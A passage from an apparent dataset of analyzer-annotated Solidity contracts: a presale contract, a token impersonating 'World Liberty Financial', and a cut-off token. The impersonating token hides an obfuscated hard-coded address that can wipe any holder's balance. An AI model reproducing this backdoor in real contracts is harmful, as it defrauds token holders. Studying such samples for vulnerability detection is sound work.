isExist[_newWallet] = true;\n }\n\n function blackListUser(address _user, bool _value) public onlyOwner {\n isBlackList[_user] = _value;\n }\n\n function buyWithEth()\n external\n payable\n checkPresaleId(currentSale)\n checkSaleState(currentSale, ethToTokens(currentSale, msg.value))\n nonReentrant\n returns (bool)\n {\n uint256 usdAmount = (msg.value * getLatestPrice() * USDT_MULTIPLIER) /\n (ETH_MULTIPLIER * ETH_MULTIPLIER);\n\n require(\n presale[currentSale].amountRaised + usdAmount <=\n presale[currentSale].usdHardcap,\n \"Amount should be less than leftHardcap\"\n );\n\n require(!isBlackList[msg.sender], \"Account is blackListed\");\n\n require(!paused[currentSale], \"Presale paused\");\n\n require(\n presale[currentSale].Active == true,\n \"Presale is not active yet\"\n );\n\n if (!isExist[msg.sender]) {\n isExist[msg.sender] = true;\n\n uniqueBuyers++;\n }\n\n uint256 tokens = usdtToTokens(currentSale, usdAmount);\n\n require(tokens >= MinTokenTobuy, \"Insufficient amount!\");\n\n presale[currentSale].Sold += tokens;\n\n presale[currentSale].amountRaised += usdAmount;\n\n overalllRaised += usdAmount;\n\n if (userClaimData[_msgSender()][currentSale].claimAbleAmount > 0) {\n userClaimData[_msgSender()][currentSale].claimAbleAmount += tokens;\n\n userClaimData[_msgSender()][currentSale]\n .investedAmount += usdAmount;\n } else {\n userClaimData[_msgSender()][currentSale] = UserData(\n usdAmount,\n 0,\n tokens,\n 0,\n 0,\n 0,\n 0\n );\n }\n\n payable(fundReceiver).transfer(msg.value);\n\n emit TokensBought(\n _msgSender(),\n currentSale,\n address(0),\n tokens,\n msg.value,\n block.timestamp\n );\n\n return true;\n }\n\n function ethBuyHelper(\n uint256 _id,\n uint256 amount\n ) external view returns (uint256 ethAmount) {\n uint256 usdPrice = (amount * presale[_id].price);\n\n ethAmount =\n (usdPrice * ETH_MULTIPLIER) /\n (getLatestPrice() * 10 ** IERC20Metadata(SaleToken).decimals());\n }\n\n function ethToTokens(\n uint256 _id,\n uint256 amount\n ) public view returns (uint256 _tokens) {\n uint256 usdAmount = (amount * getLatestPrice() * USDT_MULTIPLIER) /\n (ETH_MULTIPLIER * ETH_MULTIPLIER);\n\n _tokens = usdtToTokens(_id, usdAmount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b3c9568): MediCoin_Presale.buyWithUSDT(uint256) ignores return value by USDTInterface.transferFrom(msg.sender,fundReceiver,usdAmount)\n\t// Recommendation for b3c9568: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function buyWithUSDT(\n uint256 usdAmount\n )\n external\n checkPresaleId(currentSale)\n checkSaleState(currentSale, usdtToTokens(currentSale, usdAmount))\n nonReentrant\n returns (bool)\n {\n require(!paused[currentSale], \"Presale paused\");\n\n require(\n presale[currentSale].Active == true,\n \"Presale is not active yet\"\n );\n\n require(!isBlackList[msg.sender], \"Account is blackListed\");\n\n require(\n presale[currentSale].amountRaised + usdAmount <=\n presale[currentSale].usdHardcap,\n \"Amount should be less than leftHardcap\"\n );\n\n if (!isExist[msg.sender]) {\n isExist[msg.sender] = true;\n\n uniqueBuyers++;\n }\n\n uint256 tokens = usdtToTokens(currentSale, usdAmount);\n\n presale[currentSale].Sold += tokens;\n\n presale[currentSale].amountRaised += usdAmount;\n\n overalllRaised += usdAmount;\n\n require(tokens >= MinTokenTobuy, \"Less than min amount\");\n\n if (userClaimData[_msgSender()][currentSale].claimAbleAmount > 0) {\n userClaimData[_msgSender()][currentSale].claimAbleAmount += tokens;\n\n userClaimData[_msgSender()][currentSale]\n .investedAmount += usdAmount;\n } else {\n userClaimData[_msgSender()][currentSale] = UserData(\n usdAmount,\n 0,\n tokens,\n 0,\n 0,\n 0,\n 0\n );\n }\n\n\t\t// unchecked-transfer | ID: b3c9568\n USDTInterface.transferFrom(msg.sender, fundReceiver, usdAmount);\n\n emit TokensBought(\n _msgSender(),\n currentSale,\n address(USDTInterface),\n tokens,\n usdAmount,\n block.timestamp\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 65bca4e): MediCoin_Presale.buyWithUSDC(uint256) ignores return value by USDCInterface.transferFrom(msg.sender,fundReceiver,usdAmount)\n\t// Recommendation for 65bca4e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function buyWithUSDC(\n uint256 usdAmount\n )\n external\n checkPresaleId(currentSale)\n checkSaleState(currentSale, usdtToTokens(currentSale, usdAmount))\n nonReentrant\n returns (bool)\n {\n require(!paused[currentSale], \"Presale paused\");\n\n require(\n presale[currentSale].Active == true,\n \"Presale is not active yet\"\n );\n\n require(\n presale[currentSale].amountRaised + usdAmount <=\n presale[currentSale].usdHardcap,\n \"Amount should be less than leftHardcap\"\n );\n\n require(!isBlackList[msg.sender], \"Account is blackListed\");\n\n if (!isExist[msg.sender]) {\n isExist[msg.sender] = true;\n\n uniqueBuyers++;\n }\n\n uint256 tokens = usdtToTokens(currentSale, usdAmount);\n\n presale[currentSale].Sold += tokens;\n\n presale[currentSale].amountRaised += usdAmount;\n\n overalllRaised += usdAmount;\n\n require(tokens >= MinTokenTobuy, \"Less than min amount\");\n\n if (userClaimData[_msgSender()][currentSale].claimAbleAmount > 0) {\n userClaimData[_msgSender()][currentSale].claimAbleAmount += tokens;\n\n userClaimData[_msgSender()][currentSale]\n .investedAmount += usdAmount;\n } else {\n userClaimData[_msgSender()][currentSale] = UserData(\n usdAmount,\n 0,\n tokens,\n 0,\n 0,\n 0,\n 0\n );\n\n require(isExist[_msgSender()], \"User not a participant\");\n }\n\n\t\t// unchecked-transfer | ID: 65bca4e\n USDCInterface.transferFrom(msg.sender, fundReceiver, usdAmount);\n\n emit TokensBought(\n _msgSender(),\n currentSale,\n address(USDCInterface),\n tokens,\n usdAmount,\n block.timestamp\n );\n\n return true;\n }\n\n function usdtBuyHelper(\n uint256 _id,\n uint256 amount\n ) external view returns (uint256 usdPrice) {\n usdPrice =\n (amount * presale[_id].price) /\n 10 ** IERC20Metadata(SaleToken).decimals();\n }\n\n function usdtToTokens(\n uint256 _id,\n uint256 amount\n ) public view returns (uint256 _tokens) {\n _tokens = (amount * presale[_id].price) / USDT_MULTIPLIER;\n }\n\n function claimableAmount(\n address user,\n uint256 _id\n ) public view returns (uint256) {\n UserData memory _user = userClaimData[user][_id];\n\n require(_user.claimAbleAmount > 0, \"Nothing to claim\");\n\n uint256 amount = _user.claimAbleAmount;\n\n require(amount > 0, \"Already claimed\");\n\n return amount;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e5a52c5): MediCoin_Presale.claimMultiple() uses timestamp for comparisons Dangerous comparisons userClaimData[msg.sender][i].claimAbleAmount > 0 && block.timestamp > vesting[i].vestingStartTime\n\t// Recommendation for e5a52c5: Avoid relying on 'block.timestamp'.\n function claimMultiple() public {\n for (uint8 i = 1; i <= presaleId; i++) {\n if (\n\t\t\t\t// timestamp | ID: e5a52c5\n userClaimData[msg.sender][i].claimAbleAmount > 0 &&\n block.timestamp > vesting[i].vestingStartTime\n ) {\n claim(msg.sender, i);\n }\n }\n }\n\n function claimAmount(uint256 _id) public {\n claim(msg.sender, _id);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 679e90b): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 679e90b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 151a943): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 151a943: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 8ae70c0): MediCoin_Presale.claim(address,uint256) has external calls inside a loop require(bool,string)(amount <= IERC20(SaleToken).balanceOf(address(this)),Not enough tokens in the contract)\n\t// Recommendation for 8ae70c0: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 8a1d5d2): MediCoin_Presale.claim(address,uint256) has external calls inside a loop status = IERC20(SaleToken).transfer(_user,transferAmount)\n\t// Recommendation for 8a1d5d2: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: d924b0c): MediCoin_Presale.claim(address,uint256) has external calls inside a loop status_scope_3 = IERC20(SaleToken).transfer(_user,transferAmount)\n\t// Recommendation for d924b0c: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: d45e558): MediCoin_Presale.claim(address,uint256) has external calls inside a loop status_scope_0 = IERC20(SaleToken).transfer(_user,transferAmount)\n\t// Recommendation for d45e558: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e2c43d3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e2c43d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d32c2e2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d32c2e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 374c58c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 374c58c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7595085): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 7595085: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: eb991f3): MediCoin_Presale.claim(address,uint256).transferAmount is a local variable never initialized\n\t// Recommendation for eb991f3: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function claim(address _user, uint256 _id) internal returns (bool) {\n require(isExist[_msgSender()], \"User not a participant\");\n\n uint256 amount = claimableAmount(_user, _id);\n\n require(amount > 0, \"No claimable amount\");\n\n require(!isBlackList[_user], \"Account is blackListed\");\n\n require(SaleToken != address(0), \"Presale token address not set\");\n\t\t// calls-loop | ID: 8ae70c0\n\n require(\n amount <= IERC20(SaleToken).balanceOf(address(this)),\n \"Not enough tokens in the contract\"\n );\n\n require((presale[_id].isEnableClaim == true), \"Claim is not enable\");\n\t\t// timestamp | ID: 679e90b\n\n require(\n block.timestamp > vesting[_id].vestingStartTime,\n \"Vesting time is not started yet\"\n );\n\n uint256 transferAmount;\n\n if (userClaimData[_user][_id].claimCount == 0) {\n transferAmount =\n (amount * (vesting[_id].initialClaimPercent)) /\n 1000;\n\n userClaimData[_user][_id].activePercentAmount =\n (amount * vesting[_id].vestingPercentage) /\n 1000;\n\n\t\t\t// reentrancy-events | ID: 151a943\n\t\t\t// calls-loop | ID: 8a1d5d2\n\t\t\t// reentrancy-no-eth | ID: e2c43d3\n bool status = IERC20(SaleToken).transfer(_user, transferAmount);\n\n require(status, \"Token transfer failed\");\n\n\t\t\t// reentrancy-no-eth | ID: e2c43d3\n userClaimData[_user][_id].claimAbleAmount -= transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: e2c43d3\n userClaimData[_user][_id].claimedAmount += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: e2c43d3\n userClaimData[_user][_id].claimCount++;\n } else if (\n userClaimData[_user][_id].claimAbleAmount >\n userClaimData[_user][_id].activePercentAmount\n ) {\n uint256 duration = block.timestamp - vesting[_id].vestingStartTime;\n\n\t\t\t// divide-before-multiply | ID: 7595085\n uint256 multiplier = duration / vesting[_id].vestingTime;\n\n\t\t\t// timestamp | ID: 679e90b\n if (multiplier > vesting[_id].totalClaimCycles) {\n multiplier = vesting[_id].totalClaimCycles;\n }\n\n\t\t\t// divide-before-multiply | ID: 7595085\n uint256 _amount = multiplier *\n userClaimData[_user][_id].activePercentAmount;\n\n transferAmount =\n _amount -\n userClaimData[_user][_id].claimedVestingAmount;\n\n\t\t\t// timestamp | ID: 679e90b\n require(transferAmount > 0, \"Please wait till next claim\");\n\n\t\t\t// reentrancy-events | ID: 151a943\n\t\t\t// calls-loop | ID: d45e558\n\t\t\t// reentrancy-no-eth | ID: 374c58c\n bool status = IERC20(SaleToken).transfer(_user, transferAmount);\n\n\t\t\t// timestamp | ID: 679e90b\n require(status, \"Token transfer failed\");\n\n\t\t\t// reentrancy-no-eth | ID: 374c58c\n userClaimData[_user][_id].claimAbleAmount -= transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: 374c58c\n userClaimData[_user][_id].claimedVestingAmount += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: 374c58c\n userClaimData[_user][_id].claimedAmount += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: 374c58c\n userClaimData[_user][_id].claimCount++;\n } else {\n uint256 duration = block.timestamp - vesting[_id].vestingStartTime;\n\n uint256 multiplier = duration / vesting[_id].vestingTime;\n\n\t\t\t// timestamp | ID: 679e90b\n if (multiplier > vesting[_id].totalClaimCycles + 1) {\n transferAmount = userClaimData[_user][_id].claimAbleAmount;\n\n\t\t\t\t// timestamp | ID: 679e90b\n require(transferAmount > 0, \"Please wait till next claim\");\n\n\t\t\t\t// reentrancy-events | ID: 151a943\n\t\t\t\t// calls-loop | ID: d924b0c\n\t\t\t\t// reentrancy-no-eth | ID: d32c2e2\n bool status = IERC20(SaleToken).transfer(_user, transferAmount);\n\n require(status, \"Token transfer failed\");\n\n\t\t\t\t// reentrancy-no-eth | ID: d32c2e2\n userClaimData[_user][_id].claimAbleAmount -= transferAmount;\n\n\t\t\t\t// reentrancy-no-eth | ID: d32c2e2\n userClaimData[_user][_id].claimedAmount += transferAmount;\n\n\t\t\t\t// reentrancy-no-eth | ID: d32c2e2\n userClaimData[_user][_id]\n .claimedVestingAmount += transferAmount;\n\n\t\t\t\t// reentrancy-no-eth | ID: d32c2e2\n userClaimData[_user][_id].claimCount++;\n } else {\n revert(\"Wait for next claiim\");\n }\n }\n\n\t\t// reentrancy-events | ID: 151a943\n emit TokensClaimed(_user, _id, transferAmount, block.timestamp);\n\n return true;\n }\n\n function blockTimeStamp() public view returns (uint256) {\n return block.timestamp;\n }\n}\n",
"file_name": "solidity_code_10259.sol",
"size_bytes": 32988,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"World Liberty Financial\", unicode\"WLFI\", 9, 10000000000)\n {}\n}\n",
"file_name": "solidity_code_1026.sol",
"size_bytes": 7324,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 146018e): DarkJanet.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for 146018e: Consider ordering multiplication before division.\ncontract DarkJanet is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3b4387e): DarkJanet._taxWallet should be immutable \n\t// Recommendation for 3b4387e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7853e25): DarkJanet._initialBuyTax should be constant \n\t// Recommendation for 7853e25: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: d581ff7): DarkJanet._initialSellTax should be constant \n\t// Recommendation for d581ff7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fb0cbc): DarkJanet._finalBuyTax should be constant \n\t// Recommendation for 7fb0cbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1b91cef): DarkJanet._finalSellTax should be constant \n\t// Recommendation for 1b91cef: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: eb53af7): DarkJanet._reduceBuyTaxAt should be constant \n\t// Recommendation for eb53af7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: d029775): DarkJanet._reduceSellTaxAt should be constant \n\t// Recommendation for d029775: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7155ff1): DarkJanet._preventSwapBefore should be constant \n\t// Recommendation for 7155ff1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 10;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dark Janet\";\n\n string private constant _symbol = unicode\"DJANET\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ce0d67): DarkJanet._taxSwapThreshold should be constant \n\t// Recommendation for 4ce0d67: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 146018e\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c3497d4): DarkJanet._maxTaxSwap should be immutable \n\t// Recommendation for c3497d4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: 146018e\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private taxAmount;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fd58420): DarkJanet.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fd58420: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f6a226a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f6a226a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d2a93b6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d2a93b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f6a226a\n\t\t// reentrancy-benign | ID: d2a93b6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f6a226a\n\t\t// reentrancy-benign | ID: d2a93b6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 75bbf45): DarkJanet._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 75bbf45: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d2a93b6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | 